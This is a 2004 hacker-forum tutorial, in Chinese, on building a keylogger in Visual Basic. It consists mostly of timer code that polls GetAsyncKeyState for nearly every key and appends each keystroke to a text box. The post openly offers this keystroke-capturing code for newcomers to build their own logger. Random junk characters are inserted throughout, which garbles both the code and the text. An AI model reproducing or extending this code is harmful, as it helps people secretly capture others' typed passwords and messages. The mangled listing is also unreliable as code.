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标题: 手把手教你做键盘记录器 [打印本页]
作者: 韩冰    时间: 2004-10-4 12:04
标题: 手把手教你做键盘记录器

作者：小珂 转自黑基BBS原创作品版 6 b8 w: C" T9 \! Q版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂，9 U' ?: I% d5 |; l/ x 对新人没什么用处，所以且这篇我会写的# |4 L+ Y( a( ` 很详细，再也不像那篇，出了代码什么也没 ^!^, F7 s9 Y& r, ~ w* L5 T 这个程序将会详细的讲解如何记载键盘的每一次输入。 ! W( y: E# ^6 @; E/ q. }' B下面介绍的这个程序主要是利用GetAsyncKeyState函数，( G$ c$ h9 y2 ]$ m* N; y; J 使用GetAsyncKeyState可以获得键盘的动作。. A" |/ L; K. I! Z GetAsyncKeyState函数根据虚拟键表判断按键的类型。 ! A$ T+ K" ~* c. }) V返回值为一个16位的二进值数，如果被按下则最高位为1， . L7 W6 ]. |: {4 z即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义：1 ?2 k. r m2 }! t- I Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer- J6 ]) X& g, w/ k 好了，函数就先介绍这么多，下面开始动手实战了 2 i# I1 O7 C- s% ]! I4 y( S2 Xfirst,当然是创建窗口了" b4 E, O# {) [ ! O( v8 ~/ ?$ H6 k# A " ` w0 y! [( c9 f: Q' y! ?" W 8 u {) R5 t& w/ e& I2 t3 g6 S; S 0 z. H8 i1 \& F: s # Q4 U0 h* \' j" g b. I在时间控件的Timer时间中定义检查按键类型，代码如下： 9 R" r1 y# \# I6 f7 Q1 G$ U1 JDim AddKey9 Q* a; p/ f' r* J$ t' | KeyResult = GetAsyncKeyState(13) '回车键 3 q$ y. t) T3 J r If KeyResult = -32767 Then ( R( ^2 Q. i& g$ B AddKey = "[ENTER]" ; @+ L7 p' L. L# ]! x& X8 g; X GoTo KeyFound 6 e) Q/ e! O% B; N V End If . l/ H4 p8 k. m* V$ r KeyResult = GetAsyncKeyState(17) 'Ctrl键5 U s* C B# O2 ?6 s If KeyResult = -32767 Then ! t) S# _# J( q7 T M, k AddKey = "[CTRL]"0 Z1 A7 Y& M" I: `7 M* f% r GoTo KeyFound9 J, f6 f f4 J+ s End If; g. ^" G- D+ r7 O KeyResult = GetAsyncKeyState(8) '退格键 - l) N8 o" B6 [) X! `( Z: p If KeyResult = -32767 Then+ L/ |) k- t- h" M AddKey = "[BKSPACE]" " u6 n# Y" O R" d2 E GoTo KeyFound * I/ |/ |2 E! G0 j4 _4 E End If * `5 j9 S% N# B9 k! f" T4 R: Z5 C4 @* L( W4 V% h KeyResult = GetAsyncKeyState(9) : N: \% s: K' P( G8 J% b$ U If KeyResult = -32767 Then/ k! R( V- y. P7 ?9 U2 f AddKey = "[TAB]"% R/ h; I4 X1 `8 b( ~& g- i ~ GoTo KeyFound! K& d* n7 n+ }( z) E) G End If) p% J3 |, w5 t7 F" k0 W 8 z8 a H& Y+ T! b3 f, z( c. \ KeyResult = GetAsyncKeyState(18)' N9 w* W% e( R- n* M% T If KeyResult = -32767 Then $ ?4 R2 {/ t2 }; o0 x; }9 _3 ? AddKey = "[ALT]" : D' I( D2 B `& t GoTo KeyFound " M- q9 _6 N; U! n7 ?% W5 x End If . r* ~5 n+ P; S, h* v 7 C+ }: g5 D- {9 f KeyResult = GetAsyncKeyState(19) ( G. W9 {( X6 C If KeyResult = -32767 Then # {& A2 f# u+ y5 r AddKey = "[PAUSE]" 9 ~. E, o: `- Q+ @, p GoTo KeyFound2 M" T+ b g+ s7 B; }. Z) } End If$ W; {8 x% d& \/ }- @; ? ' R& M& w% ~* k KeyResult = GetAsyncKeyState(20) : r9 ^# ~# P* V a+ `( L2 } If KeyResult = -32767 Then 6 j. q4 g q7 W% e/ [4 O% M; U/ Q AddKey = "[CAPS]" 6 Z( r c+ c: H GoTo KeyFound . I, v0 \+ A! z1 K0 Z9 _ End If * ?% e9 V: K% F* m9 d9 g% q ) x/ n( L6 e& E, J5 @ KeyResult = GetAsyncKeyState(27)1 Z, k* _! b" y: x If KeyResult = -32767 Then $ r% G0 @# P; \3 L( `& K AddKey = "[ESC]" " X: [8 @% b" Q( ? GoTo KeyFound + V8 f" J- |& \1 h" Q2 B End If2 H( G! I) u5 Y' c. m$ l+ ? $ u3 x2 `1 V' ? KeyResult = GetAsyncKeyState(33)& s: F. W1 I ?5 n# @ If KeyResult = -32767 Then/ T5 {* A, g7 e q& C$ @ AddKey = "[PGUP]"5 t8 b6 x2 @" S+ F$ O+ C GoTo KeyFound8 p6 V9 {' x$ S+ s3 h End If # I; z! D& ] B6 R0 n 8 e L: Q% H* f+ B" ]/ P KeyResult = GetAsyncKeyState(34)$ N P! ^1 o2 D& ~+ A If KeyResult = -32767 Then, k; O( ?3 @1 r; Z1 D AddKey = "[PGDN]" : h' H3 ?) w$ h' R GoTo KeyFound5 x' b% @0 Y/ n& e/ s2 Z9 M' \ End If! G0 \6 }) s1 U6 A: ~ ' Z' Z8 k2 Q j! i* M R2 u& ^ KeyResult = GetAsyncKeyState(35). g4 l! \& a a% C If KeyResult = -32767 Then/ D* F* y; j7 t0 \' K AddKey = "[END]" % g: X4 c( U+ h/ R4 F; d GoTo KeyFound 3 z) ]9 l* y% M2 n$ h4 W% Z End If5 K/ ^/ a3 n2 j! u; J _! a 4 H0 Q* r& ^( w H& p( X KeyResult = GetAsyncKeyState(36)3 k' h( F0 ~4 X& G, A- T If KeyResult = -32767 Then2 |- M- N8 j! N8 N X, L AddKey = "[HOME]"& O# W8 R( H; A. ? GoTo KeyFound! c$ @. W! D. ^& t& ^& \( Y. W. y End If 6 q# Z3 w; O$ w: } & ?7 y4 n7 g4 E KeyResult = GetAsyncKeyState(44)2 D( w$ W2 ?; h- }: N* J) l7 L( Y If KeyResult = -32767 Then % y" I2 K% v! ? AddKey = "[SYSRQ]"6 g5 d( G% j8 J7 `$ w. d5 \9 p/ ~$ [ GoTo KeyFound3 v) T0 N8 H2 [) z$ t End If ) f9 r" m5 Q! v* g " y Z6 C1 S% {' f; ? KeyResult = GetAsyncKeyState(45) 3 j% [2 m' l6 g" `" g; S7 Z! S3 h If KeyResult = -32767 Then; o, R" x- e& f0 J AddKey = "[INS]" " m! {; c+ A& }* Y, l2 G( p GoTo KeyFound7 d* k9 ]) h% Z5 A( C' z End If! d# R2 C) Q& q / I2 h5 q% R; q$ F8 @- T) g9 k5 B2 \ KeyResult = GetAsyncKeyState(46) 8 U: K* V5 w3 O8 Q1 C2 i If KeyResult = -32767 Then- X" O; z4 O% g& ~ AddKey = "[DEL]") k3 ^( D! S8 N5 O5 W/ l. I GoTo KeyFound 0 w- ^6 E8 r; N% S% V End If. o- N v$ t0 t! e# i% l & Z% x8 Z5 D( {0 }2 i/ g. B KeyResult = GetAsyncKeyState(144) 1 K2 S8 W0 v% a2 a- n" m- w6 ^9 Z If KeyResult = -32767 Then : o# w3 K& D) j AddKey = "[NUM]" ' k. c+ J a; X2 Y: B4 x4 ^ GoTo KeyFound4 W$ u: Y) V8 W" W9 T4 \ End If 6 l& C& o1 ?- m! o3 M- w0 K5 w ; w$ n i9 r$ z8 m KeyResult = GetAsyncKeyState(37) v" L1 m, J: v! B* N4 Q If KeyResult = -32767 Then : e# m' ~2 j' ?: ] AddKey = "

"( L& _. ^1 d1 V. C GoTo KeyFound + u2 @" Y T$ i" } End If5 y& p: X, t' O7 u+ a / v9 k$ }4 x A& ]$ X KeyResult = GetAsyncKeyState(38) ) r) h. ]% ?# s) w4 U& N- \9 S M If KeyResult = -32767 Then 5 M5 s( [! Y' C P5 } x3 Q AddKey = "[UP]") u2 z3 m, a$ C0 i' i9 \ GoTo KeyFound+ [0 b1 u) Q: e% r End If& R) b& h' _5 o/ c 5 f9 N: T2 D, N5 L! ~! U KeyResult = GetAsyncKeyState(39) . K4 y3 J8 f1 ?: Z0 F' w If KeyResult = -32767 Then5 V/ M; G9 e4 R4 ]# n AddKey = "
" ( \9 R8 r& e1 j GoTo KeyFound* L a8 q3 b+ b7 z7 \9 e2 c! F End If 5 s3 |' p$ }6 X+ Q1 S2 j/ f9 W A 2 Z' p% P* v+ y+ S# E- n KeyResult = GetAsyncKeyState(40)- e% p4 `0 k3 C. j' j& k1 u" I: u If KeyResult = -32767 Then ' ^" e5 _* w4 a* A6 e AddKey = "[DOWN]"" @5 M' K+ l1 y+ R% O+ ? GoTo KeyFound) z2 J( F# m" P End If 8 D; n& p* @7 t: Y+ e 5 W3 _+ R- R: s/ i * Y1 U5 M X l9 _* Y1 B5 H9 [& Y+ h KeyResult = GetAsyncKeyState(112)5 W$ z5 g, y8 e0 B If KeyResult = -32767 Then/ q/ z) G" ]+ f# w4 \$ b' n; b AddKey = "[F1]"+ ^. G; _$ t) {. h5 @0 M GoTo KeyFound 7 M6 F" {1 k3 V& } End If * w" G3 N& z+ U3 X $ T o/ _0 u/ T. x4 g% v. PKeyResult = GetAsyncKeyState(113)! L7 a% i3 K; S# q If KeyResult = -32767 Then ' N9 ?. g1 u/ y0 L( {& ^* B AddKey = "[F2]"- |) a; o" R: l. l GoTo KeyFound " [, O5 d l5 w End If ( B3 Y) _' N J5 Y. a3 s+ j / ]+ U7 t" s# F KeyResult = GetAsyncKeyState(114)% w2 L0 j8 \1 i1 W If KeyResult = -32767 Then ) S( Y, J& m9 x: C% A- B2 p/ z AddKey = "[F3]": g$ _! \7 Z8 }4 h GoTo KeyFound4 b s& n: b8 j: v$ o End If + u6 U+ \; X/ W0 B & ]. Y- w* ?1 M- o4 BKeyResult = GetAsyncKeyState(115); c: a& [- i" d! K. L If KeyResult = -32767 Then 8 _. V& f$ t+ a AddKey = "[F4]" 4 J/ J# I! C1 F/ P2 [+ a GoTo KeyFound! A, a" L* W, @4 y3 I: p- w End If, E l7 E' D, ~% x6 r' _7 H ' z) Y0 y0 Z9 ~+ p" m5 a$ z: v$ K u KeyResult = GetAsyncKeyState(116) T6 w& S+ T( | If KeyResult = -32767 Then ' F# M' }4 K' G- ^) q1 P- _+ B AddKey = "[F5]"+ T; M( D( g% w F/ a8 q& M8 B# H GoTo KeyFound% g7 O5 n# X/ Y0 W8 \% F7 a End If 6 D* l' K2 }/ ]2 ?) a6 N5 L5 H$ r! W 5 q& h- B3 o% ~3 I; R KeyResult = GetAsyncKeyState(117) 2 h* @! j. l9 T- R8 ]4 t. p& w" ?2 a If KeyResult = -32767 Then$ \4 v& P9 i; |$ a% c4 T AddKey = "[F6]"3 [ Q2 y/ m0 N- C5 w5 Y- s$ a GoTo KeyFound ( r* P; |; x: x: E% U End If# r }) h8 w- m9 C4 E9 i7 ~' v ; H$ B* B5 W$ z* i+ V7 lKeyResult = GetAsyncKeyState(118)( w5 P3 C3 ^4 F4 m1 A. {3 ? If KeyResult = -32767 Then 8 |! N( _, |! z9 T AddKey = "[F7]"' B7 \9 R7 T3 G4 U GoTo KeyFound 0 G! ?$ z! {. K" ` F9 q End If / s7 S2 `: B, P " d5 |1 C M) [, `1 [: k" N* VKeyResult = GetAsyncKeyState(119)# R1 s' N. L8 t# R If KeyResult = -32767 Then' Q( t3 w0 p9 B3 L6 h) O AddKey = "[F8]" ( g. r4 A9 x2 p. I GoTo KeyFound9 d0 E# |6 X3 U, _ Z End If - M! o: {6 i2 F6 N1 L 5 i; p# t4 J- ZKeyResult = GetAsyncKeyState(120) $ B2 y# @0 ^4 h3 ]. J9 y7 s7 M If KeyResult = -32767 Then! g- p; u- k2 h# w AddKey = "[F9]" 5 x6 A- O1 f+ N+ G' h- y GoTo KeyFound3 r" c! l7 J; P: ~; z End If $ j* m, u# v0 \1 m% a8 Y L v4 C6 C1 D3 E" |4 ` KeyResult = GetAsyncKeyState(121) ; U- R( [9 ~+ c If KeyResult = -32767 Then 1 d) l' l* a. N1 ]) z AddKey = "[F10]"5 G" {% n4 \; [- U, | GoTo KeyFound 3 j3 C$ @' c% V( A; A i& ] End If" E( M1 N+ y% \+ ~! N 7 q! n Z4 H$ S: G" pKeyResult = GetAsyncKeyState(122) % p$ m" W4 V' F% m5 s ? If KeyResult = -32767 Then! D7 X1 e2 l8 x4 T2 F AddKey = "[F11]" + E- t4 d$ U8 l$ b J1 u9 I" } GoTo KeyFound : @& T' i( {, l. a" w J End If a: g; W2 I/ r L0 L- S 2 m' Y* T7 T9 s8 A n5 | KeyResult = GetAsyncKeyState(123)1 C' r9 L3 H* q7 r4 _2 `- W If KeyResult = -32767 Then2 G* T0 _: n, k3 B! N AddKey = "[F12]"* y( M! D# d* Y; {" ~0 s c2 V6 E1 K GoTo KeyFound: z7 ~9 ~" J* p8 J6 _7 _+ I# N End If! Z9 i/ L* f1 ]$ E4 F8 k0 t 2 W( p$ q- s0 m( _$ _' K* w! s KeyResult = GetAsyncKeyState(124) % }0 P7 A+ {1 v4 m0 T# { If KeyResult = -32767 Then 4 {8 S0 }8 C& m7 i$ }- U" [ AddKey = "[F13]" ' Z/ u, K8 Y, i7 V# r+ b GoTo KeyFound 9 V! O- {" |6 N/ N7 `- o End If3 I8 }: p1 x/ _+ k+ z8 H 9 A3 B: A- o( L8 A; j9 J- h KeyResult = GetAsyncKeyState(125) ( r+ T1 t# a4 ?3 q% g If KeyResult = -32767 Then4 {0 J8 m' K! W+ k2 ?' P# ~ AddKey = "[F14]"- H: ?! f2 H& s0 ]" c* y GoTo KeyFound4 ?- @& ?% Q+ Z8 p) l( m. C End If 4 |" ~" h C% Q4 N, { + I% y% O" n0 r6 i3 OKeyResult = GetAsyncKeyState(126)& j/ M9 N" y5 E If KeyResult = -32767 Then# Q* h. e; G& F3 C AddKey = "[F15]" : U( @8 P- O2 n+ ] GoTo KeyFound, Z+ L- k- ~) Y& h( u0 s End If 5 r: y& |6 s" Z: G0 X8 i: c( ^ % C" {4 P$ U1 S! \. T KeyResult = GetAsyncKeyState(127) 0 D4 b, r" }& a0 {4 C, }+ p7 p0 G7 _( m7 v If KeyResult = -32767 Then1 ]9 _- e5 N+ {" W+ H& }/ T- R AddKey = "[F16]"0 P$ ?! P, i, s, L GoTo KeyFound' Z1 R6 t; }( ~7 L: {9 G End If 2 U1 \2 @; i6 Z/ V3 {9 b : `1 d. N$ ]2 H3 `2 ^KeyResult = GetAsyncKeyState(32) 0 y u& C( @" x4 B* }4 D" _ If KeyResult = -32767 Then; q0 G' ?3 m4 } J. |# R AddKey = " "' @3 ^( a# z* M- [ GoTo KeyFound# {3 [2 G6 q" a2 z3 | End If 6 m" p6 J" I$ T9 M7 J 1 P: A; c, h# l8 Z" p" D! aKeyResult = GetAsyncKeyState(186) ' L1 k! d5 l4 r8 {: p If KeyResult = -32767 Then , u) A) M5 |+ } AddKey = ";"$ M9 F3 R6 \0 p* n( K& {, R c GoTo KeyFound + T% X! Y: s4 l) L# G End If2 h" t9 m8 a2 g/ t0 P9 M5 _ # [4 _7 \9 n; q( [1 W& O" f+ V4 nKeyResult = GetAsyncKeyState(187) % x2 j. p s Z- t7 N If KeyResult = -32767 Then 5 s: Q \7 c% Z6 |9 E/ } AddKey = "=" j6 r& ~- |; L+ G GoTo KeyFound* S* s$ N+ T2 X3 l+ d* ~# U! M End If , t) T& K2 q0 P. T$ ~# Q & e a; ?2 P) i1 {4 yKeyResult = GetAsyncKeyState(188)+ e: h2 l( Q: R, E g) ?5 p- B If KeyResult = -32767 Then - b% V. p) s6 ?& j2 V' U4 \, Z AddKey = "," _1 S0 R( l8 ]) l5 d" V/ P3 D% U GoTo KeyFound1 Q/ l6 _6 i* H D2 J End If+ u& T' g( U, q* |- x" j! p 4 }; R0 P* i! XKeyResult = GetAsyncKeyState(189)1 Y* P7 `, f7 A/ W If KeyResult = -32767 Then: m) K+ @0 m0 R& V5 H AddKey = "-" - k8 ~. @* N+ b! K6 L1 k GoTo KeyFound7 b8 t" g% s8 D" R& z" g( g End If. F0 z+ ^0 e/ y1 R7 I % J/ [% @+ q9 gKeyResult = GetAsyncKeyState(190) 3 p& B$ F2 T! t6 q If KeyResult = -32767 Then 5 s7 V, p0 z6 L' Q- O* A( Z AddKey = "." 1 x2 H- b' F- z& D GoTo KeyFound " E% n$ Y& r8 {: |$ I& _2 e End If! Y( O! ]0 Q% G" m. _! p# `3 y' U1 c " ^! A. Z2 L0 r: cKeyResult = GetAsyncKeyState(191) U; W8 h$ V" d- y0 \ If KeyResult = -32767 Then 2 }& E" c% x1 J M6 V- P; n AddKey = "/" '/ ) F9 p) A3 @; n. A1 B GoTo KeyFound & M/ r) t0 l( v: a5 M( i: k End If 0 T1 x. G5 Y) B 0 s' ]3 ~. O! ]4 W2 \0 \ KeyResult = GetAsyncKeyState(192)/ z; e2 f4 j( q If KeyResult = -32767 Then8 s# K9 A0 J5 G3 e AddKey = "`" '` 0 x( c# g5 o, Y4 R; T GoTo KeyFound( i5 P! l* k9 o0 }5 K: w2 b% t End If 8 F" s5 i# S: p. K' \- p 5 _8 W% l' v |" k3 l : q9 s& J, F; ~3 N3 b" X/ T3 ~" ^# B) V8 ` '----------NUM PAD 7 n; J$ ^% t2 i2 n+ [( Q- g+ z$ iKeyResult = GetAsyncKeyState(96)0 ]1 D- L) _- Q, {) y If KeyResult = -32767 Then . x6 D8 [* U2 G; Y7 \) m5 q# |+ t/ m AddKey = "0" , `; B. h8 A% W, P$ {; z GoTo KeyFound 6 g3 f( e" R0 b End If. D) ~# Q! ^& C- h# _2 e ^ : v2 P/ O! i, hKeyResult = GetAsyncKeyState(97)8 h4 H, K! p% x- p/ q# g: R If KeyResult = -32767 Then : q/ i. z6 q5 } w+ M! g AddKey = "1"+ \! ?% ]$ x# y6 [ GoTo KeyFound 4 s( l- q0 S1 g: z" ] End If ; f: U# ^% \$ j9 M! l, c- b5 T6 T ' M% _5 p3 ~7 d- A/ q2 w1 O * B6 U9 h3 y" z" Y3 m; E KeyResult = GetAsyncKeyState(98) 4 Y# u* I, _8 `) E0 w/ \; P+ F, Y+ S If KeyResult = -32767 Then8 v' X4 F3 l. N0 I$ z4 I( j0 F- Q AddKey = "2" " t2 F3 L: X/ }' L GoTo KeyFound0 a6 t" C8 q! C9 R End If 7 v: W1 d2 e" D1 f9 r s7 P/ K3 ?9 y* [% O& O8 S" f KeyResult = GetAsyncKeyState(99)# q# Q/ Y# n4 k# x- t1 F If KeyResult = -32767 Then$ } P' Z- Y( r1 c& ?$ h, U AddKey = "3" Y# w$ C9 x8 p( G1 _6 \ GoTo KeyFound 7 \* K% ?$ G# d6 O# c% {7 E End If. e, ~3 k4 @- ?0 f8 {) _5 M 3 r R6 Y1 F( P6 C$ C- y7 p. ]1 i , h* V: r" x3 h/ R( T# l6 z KeyResult = GetAsyncKeyState(100)* \5 [) B9 s& Q# T+ E3 ~1 E If KeyResult = -32767 Then |1 Q# `; f" ] AddKey = "4"7 _. V$ Y$ Z3 I( x; l GoTo KeyFound, [3 b E2 P0 s2 v! L3 E End If # v9 ~& o& ^0 X: { s- p/ ~" M3 K, l0 F KeyResult = GetAsyncKeyState(101)0 c" n5 H0 A, Q+ \7 ?6 l1 q6 O If KeyResult = -32767 Then6 f/ B: Q6 f1 q- ]: \/ n# ? m; ~ AddKey = "5" , h' M! f9 R' E3 ?" x" p7 q GoTo KeyFound' {1 ]; |, G7 M9 U9 b End If " M" |2 A2 h& L2 A; q& n L& l |- `2 z! |+ ? # n5 o! J2 P- Z( E3 ]6 r" jKeyResult = GetAsyncKeyState(102) - q0 C3 M5 _% M: D4 W. W If KeyResult = -32767 Then& L4 ~. n: S; ] ~" i AddKey = "6" # s4 ]# E i2 S) L% s2 n$ {- { GoTo KeyFound4 w0 B! v+ k. r+ U. t- D7 x End If 4 X6 H; H5 g. C3 r ; [2 k( P2 g/ V, M7 K7 C$ {KeyResult = GetAsyncKeyState(103) : f9 x5 T3 h' r. n. N4 E If KeyResult = -32767 Then4 {: V5 H8 g1 h5 ~ AddKey = "7" 1 j4 U; Z) K4 A GoTo KeyFound h P' |( o! w* a) e End If: k8 S- X) {# Z6 a Q$ w 9 x* j6 B7 c# G6 F- U* @ 6 ^5 ?% Z3 p D& Z0 V3 f KeyResult = GetAsyncKeyState(104) % c6 E$ t) w7 F& g4 [ O If KeyResult = -32767 Then' }3 R1 M9 o# W% V7 ~4 f AddKey = "8" h- b5 y) n4 W% t/ o GoTo KeyFound 1 `3 o" h% Q- u) k+ b End If! \% P2 B: a1 S3 X1 l ; A7 I6 }; Y) e( W& b+ N3 N KeyResult = GetAsyncKeyState(105)) T- c0 i% h$ `0 d2 h7 Z+ c If KeyResult = -32767 Then 9 C! E6 d+ d; `8 s6 _) y5 @ AddKey = "9" " O5 a8 T! P) w2 a- f% l GoTo KeyFound 7 P+ W7 L( \' c+ h& s) E End If% U- D0 A- z4 g% V: |, L: W2 w( u7 i ; G5 S4 }4 d) @) J3 ]7 u $ Q4 `$ q: ?: \KeyResult = GetAsyncKeyState(106)/ z0 k ]" `; v) i1 q If KeyResult = -32767 Then% t, g9 P3 R* }4 c' K: M0 \ AddKey = "*" 0 h1 f7 v$ R6 }3 a0 j9 a/ c6 W# r GoTo KeyFound P s% w3 x' v# @* l4 Z End If , b& o/ y c6 L$ O" H1 N/ ?& V8 b' G KeyResult = GetAsyncKeyState(107)1 T: z* T3 p$ K* t3 `/ s If KeyResult = -32767 Then ( [( @% {. u4 R AddKey = "+" ; g& d) @# v, g9 G3 U# l GoTo KeyFound2 L1 o4 [- U& V* j) d8 T% j$ S End If( o, k8 X1 K; t& a' j7 R" m ! g/ o0 Q% ~( `4 K# O( c* B KeyResult = GetAsyncKeyState(108)" r# V5 y; t" q) O$ E1 N If KeyResult = -32767 Then9 | j9 I7 |, V, e$ ` x AddKey = "[ENTER]" 3 k: D5 j% S6 {7 n# Q' |, \ GoTo KeyFound; n7 ~: y w. B End If 0 Q9 R1 D0 J. H- r4 E0 {% q8 Y# j- R, x* r; @ KeyResult = GetAsyncKeyState(109) ) g( O/ W; Y% w If KeyResult = -32767 Then* {7 e3 q q: _' B- L- }0 x AddKey = "-"4 r* ^) O9 a( r! q% W. ? GoTo KeyFound5 N& y6 O, D, |% r5 } End If; H d' X, O; N( b- O* z* ~% u ]" D# ]* d/ `9 {6 L5 q# b/ L( F& d KeyResult = GetAsyncKeyState(110) ' |+ r0 P6 I- I If KeyResult = -32767 Then: ~; U, @! j: p; |7 d AddKey = ".". |! q5 B* x) T' ^- P+ ?7 S GoTo KeyFound4 C& z$ ?) s$ E, T3 f End If 2 O4 b2 B. c( C2 E! `& S2 U6 F w( N& E) o3 \5 G9 K KeyResult = GetAsyncKeyState(2) e# j# Z; F, t$ j0 \, b If KeyResult = -32767 Then; h; f' T8 {$ `: x! E AddKey = "/"8 b2 Q! W3 s$ x$ r2 H1 t! v GoTo KeyFound$ q: T- d) b. k$ i6 t$ g% R# @, [ End If & m( \( v4 f8 u/ [# c" c) u |' e! Z z" Q1 }' D4 S* a& g& F KeyResult = GetAsyncKeyState(220) ; e4 @3 {2 S1 D/ h; y2 j If KeyResult = -32767 Then8 [/ z0 B7 v6 J' H% v" h- j# L AddKey = "\"9 k4 G* r) @3 c- b( s1 b GoTo KeyFound. J- I, m; \8 N. \+ R$ c: g End If 0 Q$ d( _5 ~- h3 K$ S, f 6 t3 S4 |; f n# VKeyResult = GetAsyncKeyState(222)2 u g2 \5 |# `1 ^& `( a0 i) P: @ If KeyResult = -32767 Then0 M+ X3 R& m# Z AddKey = "'" 3 a! H& _+ l5 X8 k6 e* T GoTo KeyFound, g3 a: `4 v/ Z+ y End If % f2 i; L+ ^3 ]0 V8 ?0 I5 n- C, D& g$ z) \& S KeyResult = GetAsyncKeyState(221) : H) a3 c; w- V" R2 } If KeyResult = -32767 Then, h( D2 X2 f+ H AddKey = "]"+ o% Y5 E; i/ U5 d' Z* j ' \; \+ q5 u' @* w9 @ ; W6 t2 h! L. ^/ R" S0 A7 ] GoTo KeyFound( ~ j Q n* G1 v End If) l: l' Z" Q2 Y1 R3 y. H : _7 Z9 [8 n* y9 X. z1 ~3 qKeyResult = GetAsyncKeyState(219) * h5 S; R! \! V: s( R" |, t! j- B If KeyResult = -32767 Then6 W* t: Z! M# j AddKey = "[" 8 Z7 R( ^2 p" m GoTo KeyFound2 ?; J; s3 E1 J6 e6 g5 E End If5 n" d( ^3 T( G4 m$ J3 P % [3 e" D- i9 y0 x! J" [% gKeyResult = GetAsyncKeyState(16) 'shift键+ P# ?* S" a- U+ |4 V9 e) V) B If KeyResult = -32767 And TimeOut = 0 Then ; d& X* n0 S' D/ Y# F AddKey = "[SHIFT]"* E/ [6 e7 v3 F5 D; h3 X LastKey = AddKey p6 \5 t0 z6 ]: { ` TimeOut = 1! D- e' l9 ?+ l GoTo KeyFound* ^, z# T4 Z; ^% ^3 ^ End If* b! f& @$ W/ _$ }1 z7 B) y( A5 [ 4 v0 U1 `& w$ q3 A8 v4 f KeyLoop = 41; @6 P1 c, ?6 I3 B( N+ B / L3 A: \2 q0 c/ L4 ~/ e Do Until KeyLoop = 256 ' 显示其他键 : c, L$ H" ], Q6 A9 @, m) k4 R& Z KeyResult = GetAsyncKeyState(KeyLoop)! Y' x7 z2 ~3 m) P If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop), z4 Q/ m# A" y; ~7 ~ KeyLoop = KeyLoop + 12 m4 w; A' B, x6 @* `' R( V Loop 6 w' O5 q8 c$ ?8 \) F; r LastKey = AddKey ; W! c" V+ W# N) i" E1 k6 H' [ Exit Sub) R" Y" |5 h5 M KeyFound: '显示键的信息 * c6 t! i* s% x8 u 5 O. V7 `! p' w6 M: k. t, R1 J; nText1 = Text1 & AddKey) E$ O$ y% W( Q8 } End Sub5 c$ Q" L) D% V7 B! k0 n9 e 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，……, ]/ t' ~3 P6 V8 I 由于数目太多，一一列举不方便% ]) v! l2 W* k0 M2 R9 p6 u 现提供Ascii表一份供对照 ( O" b2 M. S1 Phttp://www.cstudy.cn/repository/ascii/default.htm ' ?0 z: c; t' J下面是其他的事件 6 k" g, O6 X2 Q; m2 C$ ]Private Sub Timer2_Timer() * U8 c- o, ^5 T) Z1 J& Y3 qTimeOut = 0, n+ G B: T+ E4 } End Sub ' G: ~1 t) @* w2 Y目的是随时刷新清空1 x, W# o, t$ U1 V8 V; ^; H





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